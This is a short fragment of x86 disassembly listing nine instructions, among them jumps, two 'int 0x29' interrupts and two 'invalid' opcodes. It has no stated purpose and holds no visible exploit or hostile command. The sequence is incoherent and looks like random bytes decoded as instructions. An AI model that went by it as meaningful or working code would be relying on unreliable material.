jne 0x453dff
lds ebp, [eax + 0x2eea47e9]
int 0x29
int 0x29
ja 0x453ef0
invalid
invalid
adc eax, 0xa01f9411
ret